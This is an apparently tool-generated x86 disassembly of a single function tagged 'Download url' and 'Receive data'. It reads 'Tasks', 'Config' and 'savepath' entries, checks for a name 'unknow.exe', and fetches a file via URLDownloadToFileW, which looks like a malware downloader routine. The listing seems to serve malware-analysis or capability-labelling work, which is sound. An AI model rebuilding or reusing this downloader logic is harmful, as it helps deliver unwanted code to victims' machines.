Function at 0x454170
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56423b
mov eax, dword fs:[0]
push eax
sub esp, 0x314
mov eax, dword [0x5b0514]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x2ac], ebx
xor eax, eax
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
push 0xc
mov dword [ebp - 4], eax
call fcn.00481041
mov esi, eax
mov dword [ebp - 0x30c], 0
add esp, 4
mov dword [ebp - 0x308], 0xf
xorps xmm0, xmm0
mov byte [ebp - 0x31c], 0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov ecx, dword [ebx + 4]
push 5
mov dword [esi], ecx
lea ecx, [ebp - 0x31c]
push str.Tasks
call fcn.00406610
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x304]
push 6
push str.Config
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0xf
mov byte [ebp - 0x304], 0
call fcn.00406610
mov byte [ebp - 4], 2
lea eax, [ebp - 0x31c]
push dword [ebx + 4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004025c0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x2f0]
cmp edx, 0x10
jb 0x4542ba
mov ecx, dword [ebp - 0x304]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4542b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c1d
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0xf
mov byte [ebp - 0x304], 0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x308]
cmp edx, 0x10
jb 0x454313
mov ecx, dword [ebp - 0x31c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454309
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c22
push edx
push ecx
call fcn.00497cc1
add esp, 8
push 8
push str.savepath
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0xf
mov byte [ebp - 0x31c], 0
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.00406610
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
cmp dword [eax + 0x14], 8
jb 0x454387
mov eax, dword [eax]
push str.unknow.exe
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
mov edx, dword [ebp - 0x2c8]
test eax, eax
sete bl
cmp edx, 8
jb 0x4543d8
mov ecx, dword [ebp - 0x2dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4543ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c27
push edx
push ecx
call fcn.00497cc1
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 7
mov word [ebp - 0x2dc], ax
cmp edx, 0x10
jb 0x454433
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454429
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c2c
push edx
push ecx
call fcn.00497cc1
add esp, 8
test bl, bl
je 0x454839
xorps xmm0, xmm0
mov dword [ebp - 0x290], 0
xor eax, eax
movlpd qword [ebp - 0x2a8], xmm0
movaps xmm0, xmmword [0x595410]
mov dword [ebp - 0x28c], 7
mov word [ebp - 0x2a0], ax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], 7
mov word [ebp - 0x288], ax
movups xmmword [ebp - 0x270], xmm0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2c4]
push 7
push 0x58f760
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], al
call fcn.00406610
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov byte [ebp - 4], 9
cmp dword [eax + 0x14], 8
jb 0x4544e4
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.0047f4f0
mov byte [ebp - 4], 8
mov edi, eax
mov edx, dword [ebp - 0x2c8]
cmp edx, 8
jb 0x454536
mov ecx, dword [ebp - 0x2dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x45452c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c31
push edx
push ecx
call fcn.00497cc1
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 7
mov word [ebp - 0x2dc], ax
cmp edx, 0x10
jb 0x454591
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454587
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c36
push edx
push ecx
call fcn.00497cc1
add esp, 8
test edi, edi
je 0x45481f
mov ecx, dword [ebp - 0x290]
test ecx, ecx
je 0x45481f
cmp dword [ebp - 0x28c], 8
lea eax, [ebp - 0x2a0]
push ecx
cmovae eax, dword [ebp - 0x2a0]
lea ecx, [ebp - 0x260]
push eax
call fcn.00410900
sub esp, 0x18
lea eax, [ebp - 0x260]
mov ecx, esp
push eax
call fcn.00402a30
lea ecx, [ebp - 0x230]
call fcn.00414ec0
add esp, 0x18
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2dc]
push 8
push str.savepath
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
call fcn.00406610
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2c4]
push 5
push str.Tasks
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.00406610
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x248]
push 6
push str.Config
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
call fcn.00406610
mov edi, dword [ebp - 0x2ac]
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0xd
mov ecx, 0x5ba9b8
cmp dword [ebp - 0x21c], 8
cmovae eax, dword [ebp - 0x230]
push eax
lea eax, [ebp - 0x2dc]
push eax
push dword [edi + 4]
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00436070
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x234]
cmp edx, 0x10
jb 0x454715
mov ecx, dword [ebp - 0x248]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45470b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c3b
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
cmp edx, 0x10
jb 0x45476e
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454764
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c40
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
cmp edx, 0x10
jb 0x4547c7
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4547bd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c45
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x454825
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454801
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c4a
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a8]
call fcn.0047ee20
jmp 0x454961
mov edi, dword [ebp - 0x2ac]
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 5
call fcn.0047ee20
jmp 0x454961
push 8
push str.savepath
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
call fcn.00406610
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edx, eax
mov byte [ebp - 4], 0xf
cmp dword [edx + 0x14], 8
jb 0x454898
mov edx, dword [edx]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4548a0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x260]
call fcn.00410900
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x454900
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4548f6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c4f
push edx
push ecx
call fcn.00497cc1
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 0x10
jb 0x45495b
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454951
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c54
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov edi, dword [ebp - 0x2ac]
cmp dword [ebp - 0x250], 0
jne 0x454976
mov dword [esi + 4], 0
jmp 0x454bb8
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.005219d0
mov eax, dword [edi]
lea ecx, [ebp - 0x260]
add esp, 0xc
cmp dword [ebp - 0x24c], 8
cmovae ecx, dword [ebp - 0x260]
add eax, 0x550
cmp dword [eax + 0x14], 8
jb 0x4549af
mov eax, dword [eax]
push ecx
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push 7
push 0x58f760
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.00406610
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x2b0]
cmp edx, 0x10
jb 0x454a4d
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454a43
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c59
push edx
push ecx
call fcn.00497cc1
add esp, 8
push 7
push 0x58f760
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
call fcn.00406610
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
cmp dword [eax + 0x14], 8
jb 0x454ac1
mov eax, dword [eax]
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [ebp - 0x21c]
mov edi, eax
cmp edx, 8
jb 0x454b17
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454b0d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c5e
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov edx, dword [ebp - 0x2c8]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 0x10
jb 0x454b6e
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454b64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c63
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov edx, dword [ebp - 0x234]
xor eax, eax
test edi, edi
sete al
mov dword [esi + 4], eax
cmp edx, 8
jb 0x454bb8
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454bae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c68
push edx
push ecx
call fcn.00497cc1
add esp, 8
lea ecx, [ebp - 0x2ec]
call fcn.00407520
mov edx, dword [ebp - 0x24c]
cmp edx, 8
jb 0x454bff
mov ecx, dword [ebp - 0x260]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454bf5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c6d
push edx
push ecx
call fcn.00497cc1
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00497cb0
mov esp, ebp
pop ebp
ret
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
call fcn.00524999
int3